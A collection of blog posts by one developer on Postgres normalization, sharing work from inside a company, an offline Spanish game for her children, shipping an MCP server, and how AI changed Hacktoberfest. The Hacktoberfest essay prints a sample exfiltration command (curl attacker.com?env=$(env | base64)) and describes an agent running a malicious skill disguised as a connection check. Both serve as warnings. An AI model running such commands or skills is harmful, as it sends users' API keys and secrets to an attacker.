DEV Community: Valentina Koniukhova

Normalization vs denormalization in a real Postgres schema: what I fixed, and the copy I kept

Valentina Koniukhova — Sun, 11 Oct 2026 03:55:35 +0000

If you own a product, you should know it all the way down. In many products, the database is the main part: it's where every customer, every message and every decision actually lives. Screens change every month; the data stays. So it has to be well structured, and it has to be usable by the app that sits on top of it.

For the structure part, we have an old, well-known answer: the normal forms, and above all 3NF. For the usable part, the textbook isn't enough. A serverless mobile app talks to the database directly from the phone, and access rules, latency and the absence of a backend in between all push back on the textbook. Some differences have to be made on purpose.

My app, Hearback, drafts replies to comments on my posts. It runs on Postgres (Supabase) with about 25 tables. I built it with an AI coding agent in three days: 17 migrations, one feature after another. Every feature worked, and the tests passed.

Then I went back to the basics and checked the whole schema against the normal forms. I didn't use a blog summary; I used the papers that defined them.

What an ordinary agent build gives you

A usual build with an agent, without asking for anything special in this area, does not produce a 3NF database. The agent makes each feature work. When a value is handy to have on a row, it puts it there, and the schema grows copies one reasonable step at a time.

Here's what the audit found in my existing setup:

What	Count
Columns that repeated or recomputed another fact (2NF and 3NF)	8
Derived values maintained by hand in app code (one writer forgot)	3
Arrays used as hidden tables (1NF)	1
Copies with no guarantee they match their parent (cross-project or cross-person mismatches possible)	10
Places where the same fact could disagree with itself	22
Duplicates reviewed and kept on purpose, with the reason written down	4

The good news: on the live data, none of them had gone wrong yet. Nothing was broken. It just had 22 ways to break silently later, and no test would have caught it.

The other good news: the same agent did the audit well once I asked for it explicitly, with the original sources in hand. Database structure is something you have to ask for. It doesn't come out of "make this feature work".

Most of the duplication went away. One copy I kept on purpose. This post is about both: what normalization actually buys you, and how to break it deliberately without losing that.

The whole theory in one line

William Kent's A Simple Guide to Five Normal Forms (1983) is still the clearest text on this. His summary:

Every non-key field must provide a fact about the key, the whole key, and nothing but the key.

1NF: one value per field. No lists you search inside.
2NF: "the whole key". If the key has two columns, nothing may depend on just one of them.
3NF: "nothing but the key". Nothing may be derivable from another non-key column or from a parent row.

Why bother? Because a fact stored twice will eventually disagree with itself, and then nobody knows which copy is true. Normal forms are a checklist for finding the places where that can happen.

Before touching anything: count

Before writing a single constraint, I counted on the live data how many rows each new rule would break. These were read-only queries, like this one:

-- Does any item claim a different project than its author?
select count(*)
from items i
join people p on p.id = i.person_id
where p.project_id <> i.project_id;

All zero. That's what made the rest a calm afternoon instead of a data-repair weekend.

What normalization fixed

2NF: a link table that knew too much

idea_items connects feature ideas to the comments that asked for them. Its key is (idea_id, item_id). It also stored person_id, who wrote the comment.

But the person depends on the item alone. That's half the key: a textbook 2NF violation. My "how many people asked for this" counter read that copy, so if two person records were ever merged, the counter would quietly go wrong.

Fix: drop the column and read the person through the item. The count moved into a trigger that also re-counts when an item changes hands.

3NF: children repeating their parents

Text chunks (for retrieval) repeated their document's kind, label and URL. Every chunk of a document had to agree with the document, and nothing enforced it. I dropped those columns. The search function joins documents now and returns exactly the same shape as before.

Derived values, written by hand

This is where I found the most. Each case got one of two fixes:

A function of the same row → a generated column. is_public was just label = 'quotable' stored twice. Token totals were sums of a JSON breakdown sitting next to them.

  alter table drafts add column tokens_in int generated always as (
    (tokens->>'input')::int
    + coalesce((tokens->>'cache_read')::int, 0)
    + coalesce((tokens->>'cache_write')::int, 0)
  ) stored;

Postgres computes it, and nobody can write it wrong. (An insert that tries to set it fails, so update your writers first.)

An aggregate over other rows → a trigger as the only writer. "Last touched" dates were kept by read-then-write in app code. Two writers at once could lose an update, and one code path forgot to update them at all. Now a trigger on the touches table does it, with greatest()/least(), which is safe under concurrent inserts.

1NF: an array that was a table

plans.allowed_models was a text array, searched with = any(...) in three functions. A list you search inside is a relation in disguise, so it became a plan_models table, with an ord column so the app keeps its order.

When to denormalize: the copy I kept

Here's the one place I broke 3NF on purpose: project_id on child tables. People, items, touches and chunks each carry the project they belong to, even though their parent already knows it.

Why would you denormalize data? I had two reasons.

This is the serverless mobile part. There is no backend of mine between the phone and the database.

Security. On Supabase, the app talks to Postgres directly, and row-level security decides which rows each user sees. A policy that checks the row itself is simple and cheap:

create policy members_all on items for all
  using (is_member(project_id));

Without the column, every policy would need a join through the parent, on every row of every query.

Performance. The inbox and the vector search both filter by project first, using indexes on that column.

So the copy stays. What was wrong wasn't the copy; it was that nothing stopped it from lying. An item could claim project A while its author lived in project B, and the policy would trust the claim.

Keep the copy, make the database guard it

The fix is a composite foreign key. The parent exposes the pair:

alter table people add constraint people_id_project unique (id, project_id);

And the child references the pair instead of the id alone:

alter table items
  drop constraint items_person_id_fkey,
  add constraint items_person_fkey
    foreign key (person_id, project_id)
    references people (id, project_id) on delete cascade;

Now items.project_id can only hold the person's real project. RLS still checks one local column, and that column is now guaranteed correct.

The same trick checks more than tenancy:

An item's account must be on the item's platform: (account_id, project_id, platform).
A touch about an item must be with that item's author: (item_id, project_id, person_id), with on update cascade so it follows if the item moves to another person.
For a nullable reference that should clear on delete, Postgres 15+ lets you null only one column: on delete set null (theme_id). Otherwise you'd wipe the tenant column too.

What I left alone, and wrote down why

Not every duplicate is a bug. I kept these, with the reason written as a comment in the migration:

Snapshots. A thread as it looked when fetched is a fact about that moment, not a copy.
A URL column that sometimes holds a link that can't be derived from other columns.
A hash computed in JavaScript before insert. A generated column in Postgres might normalize whitespace differently.

If you can't write down why a copy exists, that's your sign to remove it.

Don't forget your API layer

Composite foreign keys add relationships, and tools that infer joins from foreign keys can get confused. PostgREST (Supabase's REST layer) picks the join from the foreign keys. After the change there were two between plans and plan_models: a plan's models, and the plan's default model. That makes a plain embedded select ambiguous, so I named the constraint in the query:

plans?select=id,default_model,plan_models!plan_models_plan_fkey(model)

So after the migration, re-run every embedded query your app and functions use, not just your SQL tests. I did this on a local Supabase (supabase start), inserted deliberately bad rows to confirm they were rejected, then deployed the migration and the server code together and ran the end-to-end suite.

The balance

Normalization isn't a purity test. It's how you, as the owner, know where every fact in your product lives. The app's real constraints decide where you bend it. The working rule I ended up with:

Audit against 1NF, 2NF and 3NF, using the original definitions. If an agent builds your app, ask it for this audit explicitly; it won't happen on its own.
For each duplicate, choose: remove it, compute it (generated column), cache it (trigger as the only writer), or keep it and enforce it (composite foreign key).
Count violations on live data before adding any constraint.
Write the reason next to every copy you keep.

Remember the basics, then break them deliberately, with the database holding the line.

The step-by-step versions, including a read-only check you can run on your own schema:

Have you kept a copy on purpose? I'd like to hear what made it worth it, and what keeps it honest.

Show your work when the code isn't yours

Valentina Koniukhova — Wed, 07 Oct 2026 16:42:12 +0000

Austin Kleon's Show Your Work! is a short book with one big idea: don't wait until something is finished to share it. Share the process: the small steps, what you're learning, what inspires you, and the story behind the result. Post something small every day, teach what you know, and don't turn into spam. Kleon's promise is that people find you through what you share, and some of them start helping you.

When I tried to apply it to my own work as a developer, I looked at how others do it. The advice I found online came down to a few variants: post screenshots of the code and the app as they grow, keep a public log of what you got done each day, or write up how you thought about a problem. Even people who suggest the screenshots admit that code that doesn't work yet looks pretty boring.

These are fine ideas, but they skip the harder case, and in 2026 that case is most of us. You work on a team. The code belongs to the company. You can't put it on GitHub, and you can't screenshot it either. And half of it was written by an AI agent anyway.

So what do you show?

Your repo now shows what your agent can do

Here's the part I expect some of you to disagree with. When an agent writes most of the code in minutes, a clean repository says more about the agent than about you. Anyone with the same agent can produce similar code. What they can't produce is everything around it: what you decided, what you checked, where the agent was confidently wrong and how you noticed.

That's the work that's actually yours now. And unlike company code, most of it can be shared, once you strip the names.

Six things a developer on a team can show

Each of these comes from my own last few weeks. I work mostly with Claude Code on a small product, and the same patterns show up in team work.

1. A decision and the alternatives you turned down. It proves judgement, the one thing an agent doesn't have about your project. My example: a directory that ranks MCP servers gave mine 98 out of 100 and took off two points because my tool names weren't dotted, like stories.search. I kept them undotted on purpose: the function-name rules of the big model providers reject dots, so the "better" names would break the clients my server exists for. Nothing about this needs the code to explain it.

2. A failure and how you found the cause. Mine: Google started calling my pages "soft 404", pages that opened fine in any browser. The cause was one line in robots.txt that blocked the API my pages load their content from. Google renders pages the way a browser does, wasn't allowed to fetch the data, and saw my app's "not found" screen. To share a failure like this from a company system, keep the mechanism and drop the names: "a rule meant for one thing blocked another" travels to any stack.

3. How you checked the agent's work. This is the skill that matters most now, and the one nobody sees. Three examples from one week. My live test of my server checked for exactly the wrong error code: the agent and I had written down what the server did and called it correct, and the test passed for days. A real client, through a third-party testing tool, threw an exception on the same response. And a statistics block on my site worked in every test, then stayed empty in production: the CDN's security policy blocked inline scripts, and the test browser didn't apply that policy. The third one I caught this morning: Google's Search Console listed pages on my site that don't exist, all ending in .mdread-only. On every story page, a link to the story's raw text file sat right next to a "read-only" label. On screen there was a gap between them; in the page's text there wasn't, so Google read the two as one address and tried to crawl it. One space fixed it, and no test of mine would have caught it, because nothing looked wrong. All three times the agent's work was "done". Noticing it wasn't was my job.

4. The instructions you gave the agent after it went wrong. A rule in your agent's instructions file, a check you added to the deploy, a reusable skill. These show that you can steer, not just prompt. After the security-policy bug, my deploy now refuses to ship a page with an inline script. After a listing of my server drifted from what the server actually did, the deploy fails if the server's public surface changes without a version bump. Each rule is two lines, and each one is a story.

5. Numbers before and after. Impact is easy to share even when the system isn't. "Google stopped calling my pages soft 404s two days after the fix" or "the check now catches it before release" says more than a diff.

6. What you'd do differently. A short, honest postmortem. People trust it more than a success story, and it's often the most useful thing for someone a step behind you.

Teach what you know, to someone else's agent

Kleon's best chapter is "Teach what you know". With agents there's a new twist: you can write your experience so that another person's agent can repeat it in their own project. That's what I'm building with worklore.dev: short stories with what was tried, what broke, what finally worked, plus the steps a stranger's agent runs and a check that it worked. When someone's agent reproduces a story, it's counted on the page.

And it doesn't have to be public. For things you can't generalise enough to share, a private story is still worth writing: in a couple of months you won't remember the details, and your own agent will be able to repeat what you did.

Showing my work this way already paid back. My article about building an MCP server started two conversations with strangers in dev.to comments, and both turned into features in my product: a check that the server's surface can't change silently, and a set of tests that go through a real client. Kleon calls this "scenius": good work comes out of a group of people showing each other what they do, not out of one person working alone. I wouldn't have found either idea on my own.

How to share work from inside a company

Keep the mechanism, drop the names. "An internal service", "a payment step", "our CDN". The lesson almost never depends on the brand.
Share the reasoning, not the artefact. Why you chose something, how you tested it, what you'd change.
Ask once, then you'll know the line. Most leads are fine with an anonymised lesson. If not, write it privately.
Small is fine. One problem, one fix, 300 words. Kleon is right that the small steps are the part people want to see.

So what would you show?

If you couldn't show a single line of code, what would you show about your work? I'd really like to know what other developers on teams share, and what they've been told they can't.

Mi Barrio: my kids practice Argentine Spanish with AI shopkeepers that live on the phone

Valentina Koniukhova — Sun, 04 Oct 2026 02:58:16 +0000

This is a submission for the Hacktoberfest Weekend Challenge: Build for a Friend

What I Built

My children are 9 and 10. Their first language is Russian, and they have to learn Spanish, specifically the Argentine kind, where people say vos querés instead of tú quieres and the bakery sells medialunas, not croissants.

We tried online teachers, both Russian-speaking and Spanish-speaking. Progress was slow. The lessons were about grammar, and my kids needed something different: a reason to open their mouths, and situations from real life where the words actually matter.

So I built Mi Barrio ("my neighborhood"), an iPhone game set in a small Buenos Aires block with three shops:

La panadería: Doña Rosa, a grandmotherly baker, sells medialunas and alfajores.
El kiosco: Tito, a relaxed young guy, sells candy and figuritas (football sticker packs).
La heladería: Mili scoops ice cream and asks ¿cucurucho o vasito?

Each shop is a mission with five small goals, written in Russian so the kids always know what to do: greet the shopkeeper, ask for three medialunas, add an alfajor, ask the price, say thank you and goodbye. The child taps the microphone and speaks Spanish. The character answers out loud, in Rioplatense Spanish, and the goals tick off as the child reaches them.

When they get stuck, a 💡 button shows a ready phrase with its Russian translation and can say it aloud. Any line from a character can be translated with one tap. Finishing without hints gives three stars, and stars unlock stickers for an album: a medialuna, a mate, a colectivo, and Copo, our Samoyed mascot.

Everything runs on the phone. No account, no server, and nothing my kids say leaves the device.

Demo

Me ordering medialunas from Doña Rosa, by voice, fully offline:

Code

Yahhi / mi-barrio

Offline iPhone game: kids practice Argentine Spanish with on-device AI shopkeepers (Gemma 4 + Whisper + Piper). DEV Hacktoberfest Weekend Challenge 2026.

Mi Barrio 🧉

An offline iPhone game where kids practice Argentine Spanish by talking to AI shopkeepers in a Buenos Aires neighborhood.

Built for the DEV Hacktoberfest Weekend Challenge 2026: Build for a Friend (October 2026). The "friends" are my two children, 9 and 10. Their first language is Russian, and they have to learn Spanish, specifically the Rioplatense kind, with vos, che and medialunas.

🎬 Demo: watch on YouTube

How it plays

Three shops, three characters, each a mission with five small goals written in Russian:

Shop	Character	The child has to…
La panadería	Doña Rosa	greet her, ask for three medialunas, add an alfajor, ask the price, say goodbye
El kiosco	Tito	ask for figuritas, buy candy, ask the price…
La heladería	Mili	ask which flavors there are, pick a cone or a cup, choose a flavor…

The child taps the microphone and speaks Spanish.
…

View on GitHub

How I Built It

Three open models, all running locally:

Job	Model	Runtime
Plays the characters, translates lines into Russian	Gemma 4 E2B (Apache 2.0)	flutter_gemma on LiteRT-LM, phone GPU
Hears the child	Whisper small (int8)	sherpa-onnx
Speaks	Piper `es_AR-daniela-high` (Argentine voice), `es_MX-ald-medium` for Tito	sherpa-onnx

The app is Flutter. On first launch it downloads Gemma (2.6 GB) and Whisper (375 MB) once over Wi‑Fi. The voices ship inside the app.

One loop drives a conversation: microphone → Whisper writes down what the child said → the goals are checked → Gemma replies in character → Piper says the reply.

The most important decision was what not to give the language model. Gemma does the part only a language model can do: holding a natural, slightly different conversation every time while staying in character. Each character has a short prompt with their personality, their prices, and strict rules: always voseo, at most two short sentences, simple words for a 9-year-old, never ask for personal information, never correct the child, just answer naturally with the right words.

Everything that decides whether a child succeeded is plain code. Goals are keyword checks on the transcript, accent-insensitive and tolerant of small misspellings. Stars, hints and stickers are deterministic and covered by unit tests. A child should never lose a star because a model had a bad moment.

Testing found real problems, and each one became a small fix:

Whisper wrote "medielunas", so the goal didn't tick. Matching now accepts a near miss on long words.
Whisper clipped "¿Cuánto es?" to "¿Cuánt". Short recordings now get half a second of silence on each side before transcription.
Doña Rosa told my test that three medialunas at 500 pesos cost 2,500. Small models are bad at arithmetic, so characters now name the price per item instead of adding up a total.

I built it in one night, pairing with Claude Code as my coding agent. A debug flag replays a scripted conversation end to end, so we could test whole missions on the simulator without anyone talking into the Mac.

What happened when my kids played it

It worked. They finished all three missions in about ten minutes and immediately asked "where are the other places?" On my iPhone 17 Pro Max it runs perfectly. The kids' phone is an older iPhone 12 Pro, and that's the next test.

What didn't work as well:

They got lost after the first phrase, and never touched the 💡 button. One of them skipped the greeting, didn't know what to say next, and left the shop and came back just to start over. Help was one tap away, but nobody told them it existed. A stuck child doesn't read a goal list or explore icons. The game needs a 30-second onboarding: Copo walks them through the first shop and shows where the hints are. The shopkeeper could also notice a silence and ask an easy question.
One goal didn't tick even though my son was sure he said tres medialunas. Whisper misheard him. The fix is to make what the app heard much more visible, and to let a child tap "I said it" so a recognition error never blocks the game.
Every visit is the same mission. That's fine for the first time and boring by the third. Next, each visit will change a little: a different number of medialunas, a different item, a shopkeeper who has run out of something.
The voices are clear but not natural. Piper is fast, small and free, but it doesn't sound like a real porteña. That's the honest price of running speech locally on a phone.

The real lesson: ship it to the people you love, early

The most interesting part of this experiment wasn't a model. I gave something built in one night, for a couple of percent of my weekly AI subscription limit, to my most important customers: my children.

If I had decided to make them an app a year ago, I would have planned for weeks and tried to build something solid on the first try. It turned out none of that mattered yet. In ten minutes I learned what I needed to know. They do try to say the phrases out loud. They want more places. And the help I built, they never found. A rough version in their hands taught me more than a perfect plan would have.

Why Does Open Innovation Matter?

Because the users are children, and they're talking.

Privacy is built into the design, not a promise. A kid's voice, their accent and their mistakes never leave the phone. There's no account to create for a 9-year-old and no recording on someone's server. With a closed speech or chat API, I would be sending my children's voices to a company on every tap.
It works anywhere. In the car, on a plane, at a grandparent's house with bad Wi‑Fi.
Practice is free and unlimited. There's no per-minute bill, so I never have to say "that's enough talking for today". For language learning, more talking is exactly the point.
The Argentine accent exists because of open data and open models. Argentine speakers contributed recordings to an open dataset (OpenSLR 61), a community member trained an es_AR Piper voice on it, and the sherpa-onnx project packaged it for phones. Commercial voice APIs mostly give you "Spanish". The open ecosystem gave me Argentine Spanish, and I can swap or fine-tune any piece later, for example a Whisper tuned on children's accented speech, which is exactly what my kids need.

Prize Categories

No partner category this time: the app runs on an iPhone, without Render, TabPFN, Tinker or a Qualcomm device.

The illustrations were generated with an AI image tool for this project. The app itself uses only the open models listed above.

How to build an MCP server — and actually get it used

Valentina Koniukhova — Mon, 28 Sep 2026 02:54:41 +0000

The protocol is the easy part. Nobody warns you about the rest.

I shipped a remote MCP server this month. Building the thing that speaks MCP took an afternoon — one route on a backend I already ran, and no new dependency. Everything after it took days, and almost none of it is in the protocol docs.

This is the whole path in order: the decisions that are cheap, the ones you only get to make once, and the point where most people should stop. Where a step cost me a full day, I've linked the write-up with the exact commands and error messages, so you can skip the part where I was confused.

First: are you sure you need a server?

The cheaper alternative is a skill — a file of instructions the user installs, which their agent reads and follows. No hosting, no security surface, and it carries far more nuance than a tool description ever will, because it arrives as prose in the agent's context rather than a one-paragraph summary.

The honest test is where the work has to happen. If everything your integration needs is already on the user's machine or the public web, and they can do it with their own credentials, write the skill.

You need a server when the work needs data or a service only you can run; when it has to act as the user, which means sign-in and permissions; when you need to change behaviour for everyone at once without asking anyone to update a file; or when you want to be findable in registries and directories.

The asymmetry to weigh: a skill is a file; a server is an authorization surface you own for as long as it's up. If a file would do, write the file.

They aren't exclusive, and the strongest setups use both with a clean division — the server owns the data and the operations, the skill owns the judgment.

Step 1: tool names are a one-way door

Directory scorecards reward tool names that read as a navigable tree — a dotted path like stories.search. My listing scored 98/100, and those were the missing two points.

Don't take them. OpenAI's function-name pattern is ^[a-zA-Z0-9_-]{1,64}$; dots are rejected outright, and Anthropic's is the same shape. A dotted tool name is refused by the exact clients the listing exists to reach. It's a criterion you should knowingly fail.

What you can do is pick a grouping convention up front and apply it without exception, so the structure stays legible with an underscore as the separator. Decide it at planning time and write it down — because the moment a registry has scanned you, a directory has listed you, and a client's app directory has accepted your submission, every published tool name is one you have to keep. Renaming later isn't a refactor, it's a migration across systems you don't control.

Step 2: build the server (genuinely the easy part)

An MCP server speaks JSON-RPC. A client asks it to introduce itself, asks for its tool list, then calls tools one at a time. For a server people reach over the internet, use the streamable HTTP transport — one endpoint handles everything.

Three things that are easy to skip and shouldn't be:

Write tool descriptions for an agent, not a human. They're the entire basis on which a model decides whether to call you.
Set the annotations honestly — read-only, destructive, open-world. Clients show these before approving a call.
Declare an outputSchema and return structuredContent, so consuming agents can rely on shape instead of parsing prose.

Then point the MCP Inspector at your own endpoint before any real client sees it. It's a test client you drive by hand, with no model in the loop — which matters, because when a real client doesn't call your tool you cannot tell from outside whether your description was vague, your schema was malformed, or the server errored. Those are three different bugs that look identical.

It also runs a schema portability check. Mine flagged that nullable fields written as one type with two entries are legal JSON Schema and silently mishandled by several clients — a defect none of my own tests were looking for, because my tests shared my assumptions.

Step 3: where it lives, and what it costs

An MCP server is a small, bursty HTTP service: idle most of the time, awake when somebody's agent calls. That fits serverless. The default instinct is a new repo, the official SDK and a container; I added a route to the backend I already ran. The entry point is a single branch in the existing request handler, and the endpoint is standard library plus the cloud SDK already in the runtime. Zero new dependencies.

Concrete numbers: marginal compute is pennies a month and free tiers swallow it. Listing in the official MCP Registry is free. Submitting a ChatGPT app is free. The only line item that isn't free is the Claude connector directory, which needs a Team organisation — about $40/month with a two-seat minimum.

The recurring cost isn't compute. It's that you now run an authorization server, so you own its security; that every client release can surface a new incompatibility; and that without request logging you'll have no idea who calls what.

Full walkthrough: An MCP server for the price of one more endpoint

Step 4: four problems that are all really sign-in

This is the part I'd most like to have known in advance. Identity doesn't arrive as one task. It arrives four times wearing a different mask, and each one reads as a small detour from what you were actually doing.

Acting as a person. The moment a tool writes anything, you aren't adding a password field — you're running an OAuth 2.1 authorization server: discovery documents, dynamic client registration, PKCE, a consent screen. Clients register themselves; there's nothing to pre-issue. This is the expensive one. → OAuth 2.1 on AWS Lambda, start to token

Deciding what needs no sign-in at all. Having built the gate, the easy mistake is putting everything behind it — including the list of what your server offers. Mine did, and a directory listed me with a name, a description, and no tools, because a registry mirror has nobody to sign in as. The fix was about fifteen lines, and the rule is: expose anonymously exactly what is already public elsewhere, and nothing else. → My MCP server hid its own tool list behind a login

Giving a stranger a way in. An app reviewer has to use your server. If your only sign-in is a social provider, there is nothing to hand them, and you'll build a sandboxed account under deadline. → App review wants test credentials

Having the right token yourself. Publishing under an organisation rather than your own name needs a token carrying a scope you probably aren't using, and the error won't tell you that.

Step 5: instrument it before anyone uses it

An MCP server is one URL. Every call arrives as POST /mcp, so the access log you get for free is a column of identical lines. Which tool ran, for whom, in what order — none of it is there.

One structured line per call, emitted in the dispatcher rather than in each handler, fixes it. Trim deliberately: log identifiers and lengths, never the content people send you.

I added this to a server almost nobody was using, which felt pointless. It immediately caught a client calling a method my server doesn't implement, getting an error, and silently falling back — five times over two days, with nothing visibly broken. None of that is visible in a generic access log or an APM dashboard: MCP-aware logging is something you have to write yourself, and this is the argument for writing it early. → Your MCP server is one URL

Step 6: you may already be done

Everything above was building. The server runs, it signs people in, it says what it can do, and you can see who calls it. That is a finished thing, and plenty of good servers stop exactly here.

What follows is distribution, and it's optional in a way none of the earlier steps were.

If your users already live in a terminal or an IDE, you're done now. Publish the endpoint and one install line in your README — claude mcp add --transport http <name> <url>, or the equivalent for their client — and they add it themselves in about ten seconds. No forms, no reviewer, no waiting on anybody. For an internal tool, a team server, or anything with a known audience, this isn't the lesser option. It's the right one.

Read on only if you want the other thing: to appear inside a client's app directory, where someone who has never heard of you can find you.

Step 7: the documents, and the one rule

Submitting means writing a pile of prose: a privacy policy, terms, a public documentation URL, a domain-verification file, tool-by-tool justifications, example prompts, and credentials a stranger can sign in with.

None of it is hard. All of it is slow. And one property matters more than any individual document: they must describe the server as it runs today.

I learned that by failing. My privacy policy was written when the connector was four read-only tools with no sign-in. By review time it was six tools behind OAuth, two of which write on your behalf. The policy still said "read-only tools" and "no account is required". The rejection was one sentence: the policy does not clearly disclose all data uses, and must reflect current tool inputs and outputs.

Entirely fair. I'd shipped four significant changes and updated none of the documents describing them. A reviewer reads your prose against your live endpoint — which is something you never do.

The second thing worth knowing: these documents are fetched at review time, not uploaded. A fix needs no resubmission of anything but the form; a drift needs no negligence, only time.

Step 8: being listed is not being found

Getting into the official registry feels like the finish line. It's a database entry.

Eight days after publishing there, searching my server's name in every browsable directory returned nothing. But "each one wants its own submission" turned out to be only half right, and the half that's right has a pattern underneath it.

Scanners want a submission; mirrors don't. A directory that connects to your live endpoint, or is human-reviewed, needs you to submit. A directory that reads the official registry needs nothing — the registry already holds what it displays. One tell that you're looking at a mirror: its listing shows your description and URL but no tools. It never connected. → Submitting an MCP server to the directories

Step 9: the only number that tells you whether any of this worked

Every step above has a satisfying finish line. That's exactly what makes them easy to mistake for the goal.

The real question isn't an engineering question, and no directory will answer it: has anyone who is not you ever connected?

Here's what that looked like for my server, from its own request log over 24 hours: 93 protocol calls — connect, list the tools, list the resources, repeat — and exactly one actual tool call, which was mine. Two distinct users, both of them me.

Connected and used are not the same number, and until you log it you cannot tell them apart.

What I'd do differently

Decide tool names in the planning doc, not in the code.
Add request logging in the first deploy, not the fifth.
Re-read every public document against the live tool list before submitting, not when I wrote them.
Ask "is a directory listing what I actually want" before doing the work that a listing requires.

Run this instead of re-typing it

Every write-up linked above carries a machine-readable "Reproduce this" contract — prerequisites, the inputs it needs from you, ordered steps, and a verification section your agent runs to prove it actually worked. You point your agent at it and it does the work in your project.

They're collected in build order as a path: Build and ship your own MCP server. It's honest about its own state — one step is currently marked a proposal rather than a result, because I've resubmitted after that rejection and the verdict isn't in yet.

If you're weighing whether an MCP server is the right move at all, or you're stuck on the OAuth step, I do consultations — details at worklore.dev.

The code was never the point: Hacktoberfest, AI, and the value of the climb

Valentina Koniukhova — Tue, 22 Sep 2026 02:35:36 +0000

I have a small drawer of Hacktoberfest T-shirts. Four of them, I think. Every October for years I would carve out a weekend, find a few issues, open my pull requests, and wait for the merges that earned me the shirt. I wore them with real pride. They were proof that I had shown up for open source.

The end of the PR count

This year, Hacktoberfest is not counting pull requests.

The whole thing has moved to hundreds of in-person "Fests" and an online hackathon built around open-source and open-weight AI. Their own wording is what stuck with me: "Instead of counting PRs, you'll write your first skills.md, build your own open-source agent, fine-tune an open-weight model, or go wherever your curiosity takes you." And we all know why. AI made a low-effort pull request trivial to generate, and maintainers drowned in the noise.

So I sat with an uncomfortable thought. The patches I sent for those shirts — an agent writes that kind of code now in a few seconds. If the code was the deliverable, the deliverable just got cheap. What was the T-shirt ever really for?

Walking the terrain, or flying over it

Hacktoberfest's answer is that the thing under the code is still there. The collaboration. The habit of working on something other people actually need. And the learning — we used to learn through writing code, and now agents help us learn, but the learning was always the point, not the typing.

I keep coming back to a picture in my head. Learning a language, or a new repository, used to be a route across hard terrain: mountains, lakes, long detours. The difficulty was the training. It was never about memorizing syntax — it was building a real skill: writing understandable, even beautiful, code in that exact language, with that exact library. You got to know a codebase the way you get to know a landscape — by walking it until it stopped surprising you.

Now we fly over it. "Tell me about this repository." "Fix this error, and that one." We lift off and land near almost any destination, and skip the climb. There used to be a limit to how many routes I could realistically walk in a month — a handful of repos I could get familiar enough with to actually help. Now I can drop into nearly any of them.

It is genuinely freeing. But the climb was not only friction. It was where judgment came from — the sense of whether the destination was even the right one, and whether the fix I landed was correct and not just plausible. Flying gives you reach. It does not hand you the judgment; that still has to come from somewhere. This is not an argument against flying. It is just worth being honest that reach and understanding are not the same thing.

The new bottleneck is trust

Which is where Hacktoberfest's new map gets interesting. The routes now are skills, models, agents. The happy path — you solve a problem, you write it up as a skill (a short set of instructions another agent can follow), you push a repo, and if it is useful, other people's agents pick it up and it spreads. On paper it sounds great: knowledge sharing without the old friction.

Except there are two difficulties on that map that no agent flies over for you.

The first is simply being understood. It is older than code — it is the plain human problem of getting someone to see your idea the way you see it. You write a skill because you solved something real. But will the person who needs it ever realize it applies to their case? And when their agent reads your instructions, will it follow them, or quietly fill the gaps with something you never meant? A skill nobody recognizes as relevant, or that an agent half-invents its way through, helped no one.

The second is safety, and it is the same worry Hacktoberfest is reacting to, seen from the other side. Spam floods maintainers because AI output is cheap to produce and hard to trust. Now flip it around: you find a skill on the internet and your agent is about to run it, with your permissions. Picture one that presents itself as a harmless "connection check" and quietly runs curl attacker.com?env=$(env | base64) — shipping your environment variables, API keys and all, off the machine, while your agent runs it with the same confidence it runs anything else. Is that safe? "It's on GitHub" is not an answer. Unverifiable knowledge coming in and unverifiable code going out are the same trust problem, just flipped around.

The part no agent does for you

Here is the part I only understood in hindsight. I have been building a small project called worklore, and I built it before I had ever framed either of these problems out loud. I just knew the two things that frustrated me most about sharing work. Every README promises the world — the skill does everything short of flying you to the moon — but I could never tell what one actually did, or whether it even fit my case, without a real example in front of me. And once I decided to run it, there was the quieter worry: could I trust a skill I didn't fully understand with my own data, when I didn't know the whole story of what it touched?

So worklore became my small contribution to this new era — an experiment I am building in the open, more than a finished product. To prove a write-up actually worked, I leaned on evidence instead of stars or vibes: a story carries a machine-readable "reproduce this" contract, and its count moves only when a signed-in person's agent runs that contract in their own repo and reports back. And to answer "is it safe," it can x-ray a skill before you run it — a static scan of the skill's own text that pins what it can touch (files, network, secrets, shell) to a capability tier. It is early, and I would rather build it in the open than pretend I have it solved.

I didn't see this coming. But when I read the new Hacktoberfest page, I recognized it immediately. Seems like I built the thing in Hacktoberfest's spirit without actually thinking about it.

Maybe that is the real shift. We stopped counting the artifact — the PR, the patch, the shirt — because the artifact got cheap. What is left to value is what was always underneath: whether we are working on something people need, whether we are learning while we do it, and whether we can share what we learn in a way others can understand and safely use.

If agents let us fly over the terrain, then the work worth doing now is marking the trails and clearing safe places to land — so the next person can tell a real route from a wrong one before they follow it. That is the unglamorous part no agent does for you, and it is the part I care about most.

The T-shirts are still in the drawer. I am not sad about the change. If anything, it finally named the thing I liked about October all along. It was never the count — it was the climb.